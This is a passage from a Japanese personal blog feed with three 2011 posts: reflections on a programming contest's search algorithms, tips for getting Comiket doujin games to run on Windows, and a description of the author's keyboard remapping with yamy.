という感じでした。特にメイン PC が壊れたときは、どうしようかと思いました。
結局 Amazon EC2 で c1.xlarge インスタンスを作って、2 時間だけ回してパワー不足を補いました。

また、途中まで全然計画とか立てずに、闇雲に探索していたので、それでかなり時間をロスしていました。
盤面が小さい、解きやすい問題から解いていった方が良かったです。

今回の反省点は、

- 問題をよく見て、戦略を練ってから問題を解くべき
- 基本的な部分にバグがあると後で困るので、十分にテストしておく等で対処するべき

という点でした。

やっつけなコードですが、一応[アップ](/media/binary/gdd2011_src.zip)しておきます。
探索は、深さ優先の反復深化でやってます。
A\*も試したんですが、 今回のデータ構造だと Open リストが膨れてしまい、メモリに乗らなくなる感じでした。

もうちょっと時間があれば、データを切り詰めたり(std::string 使ってる時点でありえない)、
評価関数を凝ったり、いろいろできたとは思うのですが、まあ、こんなもんかなーと。
]]>
コミケで買ってきた同人ゲームが動かなかったときに取るべき4つの行動 https://www.neguse.dev/posts/2 https://www.neguse.dev/posts/2 Wed, 17 Aug 2011 00:00:00 GMT
先日コミックマーケット 80 が催されたわけですが、「買ってきた同人ゲームが動作しなかった!」という経験はおありではないでしょうか。そんなときにどうすればいいのか、自分なりにまとめてみました。

# その 1: 説明書を読む
説明書通りに扱わないと正しく動かないのは、ゲームでも何でも同じです。
同人ゲームの場合、市販されているゲームのように説明書がパッケージ内に含まれているということはめずらしく、ディスクの中にデータとして入っていることが多いです。
早くゲームで遊びたい気持ちをおさえつつ、ちゃんと説明書を読んでから、正しくソフトをインストールしましょう。

# その 2: ランタイムライブラリを入れる
「ランタイムライブラリ」というのは、簡単にいうと、プログラムを動作させる際に必要となるプログラムです。
ゲームが動かない場合、そのゲームを作る際に利用したライブラリをインストールすれば解決することが多いです。

自分が買った範囲では、以下のライブラリを入れれば十分でした。
特に「DirectX ランタイム」は、割と頻繁にアップデートされているので、「以前入れたことがあるよー」という人も、再度インストールしてみて下さい。

- [DirectX エンド ユーザー ランタイム Web インストーラ](http://www.microsoft.com/downloads/ja-jp/confirmation.aspx?FamilyID=2da43d38-db71-4c1b-bc6a-9b6652cd92a3)
- [Microsoft XNA Framework Redistributable 4.0](http://www.microsoft.com/download/en/details.aspx?id=20914)
- [Microsoft .NET Framework 4](http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992)

# その 3: インストール先のディレクトリを「Program Files」とは別のディレクトリにしてみる
この項は、Windows Vista か、Windows 7 を使っている人のみ関係があります。Windows XP を使っている人は、たぶん大丈夫です。

Windows の Vista 以降では、ゲームのプログラムを「Program Files」というディレクトリに入れてしまうと、設定ファイル等を保存するタイミングでプログラムが正しく動作しなくなることがあります。
一番手っ取り早い解決方法は、「Program Files」以外のディレクトリにプログラムを入れることです。これで解決することもよくあります。

[東方を Program Files 以下にインストールしても動くようにする方法 - Tari Lari Run](http://bygzam.seesaa.net/article/170479258.html)
東方というゲームでの対処方法が書かれているページがあったので、参考にリンクを張っておきます。東方以外のゲームでも同様だと思います。

# その 4: 作者に連絡をとる
これまでの方法をとってもゲームが動かないようだったら、ゲームプログラムの問題が考えられます。
同人ゲームでは、動作テストを十分に行えないことが多いです。
なので、ある程度バグがあること自体は、ある意味しょうがないです。
市販のゲームが(多少のバグはあるにしろ)それなりにちゃんと動作するのは、
それなりのコストをかけて動作テストやバグ修正を行っているからなので、
それと同じレベルを同人ゲームに求めるのも無理がある、というものです。

こういう時は、「こういう環境で正しく動かなかった」ということを作者の人に伝えてみましょう。
もしかしたら、バグの原因が簡単にわかって、修正してもらえるかもしれません。
最近では、twitter 等の SNS にアカウントを持っている人が多いので、割と気軽にコミュニケーションが取れると思います。
]]>
Hackの日 https://www.neguse.dev/posts/1 https://www.neguse.dev/posts/1 Tue, 09 Aug 2011 00:00:00 GMT
今日は Hack の日ということで、家で使ってるキー配列のカスタマイズを晒します。
先日日曜にあった[「開発環境勉強会」](http://partake.in/events/afe6657b-b54c-44d2-8af5-d39e98e6f2bd)が面白かったので、
何かそれっぽいことをしたくなったため、というのもあります。

カスタマイズツールは、[「yamy(Yet Another 窓使いの憂鬱)」](http://sourceforge.jp/projects/yamy/)を使ってます。
これは、家で使っている OS が Windows7 なので、前のバージョンの窓使いの憂鬱が動かないためです。
[のどか](http://www.appletkan.com/nodoka.htm)っていうのもあるっぽいですけど、ちょっと試せてないです。

キーボード配列

まず、わりと一般的な、「Esc と全角/半角入れ替え」(①、 ②)と、「Caps を Ctrl に入れ替え」(③)をしています。
それに加えて、「無変換をバックスペースに」(④)、「変換を Enter に」(⑤)しています。
これが意外と便利かつ指にやさしくて、Enter を親指で押せるので、[「ッターン!」](http://www.google.co.jp/search?q=ッターン")分が減ります。
また、IME の ON/OFF は、Ctrl+Space にしています。

キーボード配列 モディファイア

さらに、スペースキーをモディファイアとして定義して、スペースキーを押しながらだと Vi っぽくカーソル移動出来るようにしています。
なぜスペースをモディファイアとして使っているかというと、様々なアプリで、他のモディファイアキーの機能と重なることがあるからです。
「スペースを押しながら」という操作を採用してるアプリはほとんど無いのではないでしょうか。

スペースさえ押さなければ、ほとんど普通の配列として使える点が気に入ってます。
[設定ファイル](/media/text/dot.mayu)
]]>